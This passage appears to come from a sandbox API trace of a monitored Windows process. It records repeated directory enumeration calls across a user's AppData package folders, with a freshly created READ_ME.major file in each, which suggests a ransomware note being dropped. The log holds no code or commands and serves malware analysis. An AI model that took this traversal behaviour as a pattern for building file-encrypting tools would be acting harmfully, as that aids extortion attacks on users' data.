ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36ea2adf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.292] SetLastError (dwErrCode=0x12) [0228.292] GetLastError () returned 0x12 [0228.292] SetLastError (dwErrCode=0x12) [0228.292] GetLastError () returned 0x12 [0228.293] SetLastError (dwErrCode=0x12) [0228.293] FindNextFileW (in: hFindFile=0x2f331e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36ea2adf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36ea2adf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36ec8c95, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.293] SetLastError (dwErrCode=0x12) [0228.293] GetLastError () returned 0x12 [0228.293] SetLastError (dwErrCode=0x12) [0228.293] GetLastError () returned 0x12 [0228.293] SetLastError (dwErrCode=0x12) [0228.293] FindNextFileW (in: hFindFile=0x2f331e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36ea2adf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36ea2adf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36ec8c95, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.293] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74116aed, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36ec8c95, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f332a0 [0228.293] SetLastError (dwErrCode=0x12) [0228.293] GetLastError () returned 0x12 [0228.293] SetLastError (dwErrCode=0x12) [0228.293] GetLastError () returned 0x12 [0228.293] SetLastError (dwErrCode=0x12) [0228.293] FindNextFileW (in: hFindFile=0x2f332a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74116aed, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36ec8c95, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.294] SetLastError (dwErrCode=0x12) [0228.294] GetLastError () returned 0x12 [0228.294] SetLastError (dwErrCode=0x12) [0228.294] GetLastError () returned 0x12 [0228.294] SetLastError (dwErrCode=0x12) [0228.294] FindNextFileW (in: hFindFile=0x2f332a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36ec8c95, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36ec8c95, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36ec8c95, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.294] SetLastError (dwErrCode=0x12) [0228.294] GetLastError () returned 0x12 [0228.294] SetLastError (dwErrCode=0x12) [0228.294] GetLastError () returned 0x12 [0228.294] SetLastError (dwErrCode=0x12) [0228.294] FindNextFileW (in: hFindFile=0x2f332a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36ec8c95, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36ec8c95, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36ec8c95, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.294] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74116aed, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36ec8c95, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33760 [0228.295] SetLastError (dwErrCode=0x12) [0228.295] GetLastError () returned 0x12 [0228.295] SetLastError (dwErrCode=0x12) [0228.295] GetLastError () returned 0x12 [0228.295] SetLastError (dwErrCode=0x12) [0228.295] FindNextFileW (in: hFindFile=0x2f33760, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74116aed, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36ec8c95, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.295] SetLastError (dwErrCode=0x12) [0228.295] GetLastError () returned 0x12 [0228.295] SetLastError (dwErrCode=0x12) [0228.295] GetLastError () returned 0x12 [0228.295] SetLastError (dwErrCode=0x12) [0228.295] FindNextFileW (in: hFindFile=0x2f33760, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36ec8c95, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36ec8c95, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36ec8c95, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.295] SetLastError (dwErrCode=0x12) [0228.295] GetLastError () returned 0x12 [0228.295] SetLastError (dwErrCode=0x12) [0228.296] GetLastError () returned 0x12 [0228.296] SetLastError (dwErrCode=0x12) [0228.296] FindNextFileW (in: hFindFile=0x2f33760, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36ec8c95, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36ec8c95, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36ec8c95, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.296] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x825856ce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d927d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36f61675, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33820 [0228.296] SetLastError (dwErrCode=0x12) [0228.296] GetLastError () returned 0x12 [0228.296] SetLastError (dwErrCode=0x12) [0228.296] GetLastError () returned 0x12 [0228.296] SetLastError (dwErrCode=0x12) [0228.296] FindNextFileW (in: hFindFile=0x2f33820, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x825856ce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d927d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36f61675, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.296] SetLastError (dwErrCode=0x12) [0228.296] GetLastError () returned 0x12 [0228.296] SetLastError (dwErrCode=0x12) [0228.296] GetLastError () returned 0x12 [0228.297] SetLastError (dwErrCode=0x12) [0228.297] FindNextFileW (in: hFindFile=0x2f33820, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36f61675, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36f61675, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36f61675, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.297] SetLastError (dwErrCode=0x12) [0228.297] GetLastError () returned 0x12 [0228.297] SetLastError (dwErrCode=0x12) [0228.297] GetLastError () returned 0x12 [0228.297] SetLastError (dwErrCode=0x12) [0228.297] FindNextFileW (in: hFindFile=0x2f33820, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36f61675, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36f61675, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36f61675, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.297] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x825856ce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d92f43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36f61675, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33360 [0228.297] SetLastError (dwErrCode=0x12) [0228.297] GetLastError () returned 0x12 [0228.297] SetLastError (dwErrCode=0x12) [0228.297] GetLastError () returned 0x12 [0228.297] SetLastError (dwErrCode=0x12) [0228.297] FindNextFileW (in: hFindFile=0x2f33360, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x825856ce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d92f43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36f61675, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.298] SetLastError (dwErrCode=0x12) [0228.298] GetLastError () returned 0x12 [0228.298] SetLastError (dwErrCode=0x12) [0228.298] GetLastError () returned 0x12 [0228.298] SetLastError (dwErrCode=0x12) [0228.298] FindNextFileW (in: hFindFile=0x2f33360, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36f61675, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36f61675, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36f61675, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.298] SetLastError (dwErrCode=0x12) [0228.298] GetLastError () returned 0x12 [0228.298] SetLastError (dwErrCode=0x12) [0228.298] GetLastError () returned 0x12 [0228.298] SetLastError (dwErrCode=0x12) [0228.298] FindNextFileW (in: hFindFile=0x2f33360, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36f61675, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36f61675, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36f61675, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.298] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x825856ce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d9368b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36f61675, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f335a0 [0228.298] SetLastError (dwErrCode=0x12) [0228.298] GetLastError () returned 0x12 [0228.299] SetLastError (dwErrCode=0x12) [0228.299] GetLastError () returned 0x12 [0228.299] SetLastError (dwErrCode=0x12) [0228.299] FindNextFileW (in: hFindFile=0x2f335a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x825856ce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d9368b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36f61675, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.299] SetLastError (dwErrCode=0x12) [0228.299] GetLastError () returned 0x12 [0228.299] SetLastError (dwErrCode=0x12) [0228.299] GetLastError () returned 0x12 [0228.299] SetLastError (dwErrCode=0x12) [0228.299] FindNextFileW (in: hFindFile=0x2f335a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36f61675, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36f61675, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36f61675, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.299] SetLastError (dwErrCode=0x12) [0228.299] GetLastError () returned 0x12 [0228.299] SetLastError (dwErrCode=0x12) [0228.299] GetLastError () returned 0x12 [0228.299] SetLastError (dwErrCode=0x12) [0228.299] FindNextFileW (in: hFindFile=0x2f335a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36f61675, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36f61675, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36f61675, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.299] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1fd784cd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0e8f3a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37078db6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33220 [0228.300] SetLastError (dwErrCode=0x12) [0228.300] GetLastError () returned 0x12 [0228.300] SetLastError (dwErrCode=0x12) [0228.300] GetLastError () returned 0x12 [0228.300] SetLastError (dwErrCode=0x12) [0228.300] FindNextFileW (in: hFindFile=0x2f33220, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1fd784cd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0e8f3a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37078db6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.300] SetLastError (dwErrCode=0x12) [0228.300] GetLastError () returned 0x12 [0228.300] SetLastError (dwErrCode=0x12) [0228.300] GetLastError () returned 0x12 [0228.300] SetLastError (dwErrCode=0x12) [0228.300] FindNextFileW (in: hFindFile=0x2f33220, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37078db6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37078db6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37078db6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.300] SetLastError (dwErrCode=0x12) [0228.300] GetLastError () returned 0x12 [0228.300] SetLastError (dwErrCode=0x12) [0228.300] SetLastError (dwErrCode=0x12) [0228.301] FindNextFileW (in: hFindFile=0x2f33220, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37078db6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37078db6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37078db6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.301] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1fd784cd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0e8fc7a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37078db6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33260 [0228.301] SetLastError (dwErrCode=0x12) [0228.301] GetLastError () returned 0x12 [0228.301] SetLastError (dwErrCode=0x12) [0228.301] GetLastError () returned 0x12 [0228.301] SetLastError (dwErrCode=0x12) [0228.301] FindNextFileW (in: hFindFile=0x2f33260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1fd784cd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0e8fc7a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37078db6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.301] SetLastError (dwErrCode=0x12) [0228.301] GetLastError () returned 0x12 [0228.301] SetLastError (dwErrCode=0x12) [0228.301] GetLastError () returned 0x12 [0228.301] SetLastError (dwErrCode=0x12) [0228.301] FindNextFileW (in: hFindFile=0x2f33260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37078db6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37078db6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37078db6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.302] SetLastError (dwErrCode=0x12) [0228.302] GetLastError () returned 0x12 [0228.302] SetLastError (dwErrCode=0x12) [0228.302] SetLastError (dwErrCode=0x12) [0228.302] FindNextFileW (in: hFindFile=0x2f33260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37078db6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37078db6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37078db6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.302] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1fd784cd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0e90475, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37078db6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33560 [0228.302] SetLastError (dwErrCode=0x12) [0228.302] GetLastError () returned 0x12 [0228.302] SetLastError (dwErrCode=0x12) [0228.302] GetLastError () returned 0x12 [0228.302] SetLastError (dwErrCode=0x12) [0228.302] FindNextFileW (in: hFindFile=0x2f33560, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1fd784cd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0e90475, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37078db6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.302] SetLastError (dwErrCode=0x12) [0228.302] GetLastError () returned 0x12 [0228.303] SetLastError (dwErrCode=0x12) [0228.303] GetLastError () returned 0x12 [0228.303] SetLastError (dwErrCode=0x12) [0228.303] FindNextFileW (in: hFindFile=0x2f33560, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37078db6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37078db6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37078db6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.303] SetLastError (dwErrCode=0x12) [0228.303] GetLastError () returned 0x12 [0228.303] SetLastError (dwErrCode=0x12) [0228.303] SetLastError (dwErrCode=0x12) [0228.303] FindNextFileW (in: hFindFile=0x2f33560, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37078db6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37078db6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37078db6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.303] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\PhotosAppTile\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32922ee1, ftCreationTime.dwHighDateTime=0x1d32756, ftLastAccessTime.dwLowDateTime=0xd0ee01ba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37078db6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f331a0 [0228.303] SetLastError (dwErrCode=0x12) [0228.303] GetLastError () returned 0x12 [0228.303] SetLastError (dwErrCode=0x12) [0228.303] GetLastError () returned 0x12 [0228.304] SetLastError (dwErrCode=0x12) 